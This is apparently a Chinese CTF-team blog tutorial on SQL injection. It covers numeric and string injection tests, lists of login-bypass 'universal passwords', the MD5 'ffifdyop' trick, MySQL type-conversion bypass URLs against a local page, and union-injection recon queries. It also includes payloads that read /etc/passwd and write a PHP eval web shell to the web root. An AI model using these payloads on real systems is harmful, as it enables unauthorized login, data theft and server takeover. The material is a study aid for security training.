SQL(引)

本文章部分为 前博客文章迁移 并参考一些其他战队师傅的博客与个人总结加以补充。

在开始前不妨先看看我的傲娇舍友对于sql基础的总结。

1、注入类型

关于数字型、字符型的注入类型可以说是最简单,最基础的知识点。但也确实挺多同学仍然会错的点。

下面就浅说下两种类型的特点

1、数字型

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:sqlsql/sql.php?id=3’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:sqlsql/text.php?id=3and 1=1

对应的sql:select * from table where id=3 and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,URL:sqlsql/text.php?id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

2、字符型

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

因此,在构造payload时通过闭合单引号可以成功执行语句:

测试步骤:

(1) 加单引号:select * from table where name=’admin’’

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;

因此,构造语句为:select * from table where name =’admin’ and 1=1 – ’ 可成功执行返回结果正确;

(3) 加and 1=2– 此时sql语句为:select * from table where name=’admin’ and 1=2 – ’则会报错

2、万能密码

2.1 常见万能密码

万能密码是由于某些程序,通过采用判断sql语句查询结果的值是否大于0,来判断用户输入数据的正确性造成的。当查询之大于0时,代表用户存在,返回true,代表登录成功,否则返回false 代表登录失败。由于 ‘or 1=1– ‘ 在执行后,结果始终为1,所以可以登录成功。因此,被称为万能密码。

1
2
3
4
5
6
7
8
9
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
。。。。。。

更多万能密码见1X师傅

2.2进阶 md5版本

具体分析见1x师傅博客md5进阶板块

用户输入

1
user=1' or 1=1 or '1'='1&password=aaa

服务端

1
2
3
4
5
6
7
SELECT * FROM Table_submit WHERE User= '1' or 1=1 or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808'
User= '1'
or 1=1
or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808'
由于用户名和密码都是随便输的,不正确,那么User=1’ 结果为false,Password=47bce5c74f589f4867dbd57e9ca9f808’结果也为false,但是1=1true,’1=1’也为true
false or true or true and false
false or true or false,根据或逻辑,0+1+0=1,返回值为true

奇淫技巧

1
2
ffifdyop  MD5后 【276f722736c95d99e921722cf9ed621c】
129581926211651571912466741651878684928 同上

十六进制编码后

1
'or'6<乱码>   结果不为假 足以绕过

2.3Mysql数据库char与数字比较的Trick

设计mysql数据表时,通常用户名、密码的类型为varchar或者char,可以利用Mysql varchar或char类型同数字比较的自动转换机制。先上一个payload尝鲜:’|0– –,详细分析过程如下:

数据结构如下所示(以varchar类型为例,char类型类似)

Mysql版本号:5.7.21 8.0仍可打通 但仅限于MYSQl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> show columns from user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(50) | NO | | NULL | |
| username | varchar(500) | NO | | NULL | |
| password | varchar(500) | NO | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from user ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
| 3 | 3test | 3test |
| 4 | 4test | 4test |
+----+----------+----------+

进行如下测试实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> select * from user where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where username=0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
+----+----------+----------+
2 rows in set, 1 warning (0.00 sec)

mysql> select * from user where username=3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | 3test | 3test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from user where username=4;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 4 | 4test | 4test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

由结果可知,Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。

构造零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://127.0.0.1/sql_test.php?username='%2b0-- --&password=1
http://127.0.0.1/sql_test.php?username='-0-- --&password=1
http://127.0.0.1/sql_test.php?username='*0-- --&password=1
http://127.0.0.1/sql_test.php?username='/1-- --&password=1
http://127.0.0.1/sql_test.php?username='^0-- --&password=1
http://127.0.0.1/sql_test.php?username='%260-- --&password=1
http://127.0.0.1/sql_test.php?username='|0-- --&password=1
http://127.0.0.1/sql_test.php?username='xor 1-- --&password=1
http://127.0.0.1/sql_test.php?username='%1-- --&password=1
http://127.0.0.1/sql_test.php?username='=0-- --&password=1
http://127.0.0.1/sql_test.php?username='>=0-- --&password=1
http://127.0.0.1/sql_test.php?username='<=0-- --&password=1
http://127.0.0.1/sql_test.php?username='<<0-- --&password=1
http://127.0.0.1/sql_test.php?username='>>0-- --&password=1

ps:其中除法运算,除数不能为0,输入为’/1– –相当于0/1等于0;求余运算,底数不能为0,输入%1– –相当于0%1等于0。根据实际环境利用方式可自由变换

3、操作前的小芝士

3.1常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
当前用户:select user()
数据库版本:select version() , select @@version
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0
读文件:select load_file('/etc/passwd')
写文件:select '<?php @eval($POST[a]);?>' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过

3.2常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
count()返回执行结果数量
concat()没有分隔符的链接字符串
concat_ws()含有分隔符的连接字符串
group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
load_file()读取本地文件
into outfile 写文件
ascii()字符串的ASCII代码值
ord()返回字符串第一个字符的ASCII值
mid()返回一个字符串的一部分
substr()返回一个字符串的一部分
length()返回字符串的长度
left()返回字符串最左面几个字符
floor()返回小于或等于x的最大整数

rand()返回01之间的一个随机数
extractvalue()

第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

updatexml()
第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc

第二个参数:Xpath_string(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com

作用:改变文档中符合条件的节点的值

sleep()让此语句运行N秒钟
if() SELECT IF(1>2,2,3) ; -->3
char()返回整数ASCII代码字符组成的字符串
strcmp()比较字符串内容
ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
exp()返回e的x次方

3.3EZEZ

1
2
3
4
5
6
order by 后面加数字可以判断服务器在查询某个表时所查询的列数。
select username,password,uid from user order by 1;
此时输出的结果将对第一列进行排序 当数字大于实际查询列数时将会报错因此 作为判断查询列数方式
union 联合注入
0' union select 1,2,(select password from ctfshow_user where username='flag') --+
如上代码块中查询代码 有三列 此代码块payload将 1,2,与查询的结果分别放进三个回显位置带出

3.3注释

1
2
3
4
5
6
多行注释符(块注释符)/**//*! *//**/可以用于代替空格
单行注释#
MySQL:单行注释-- (-后面有个空格),Oracle 单行注释--(--后面无空格)
单行注释-- -
字符串截断;%00
常常使用--+进行注入,因为+可以代替空格,有时候还可以用--'

磨刀不误砍柴功,接下来让我们开始操作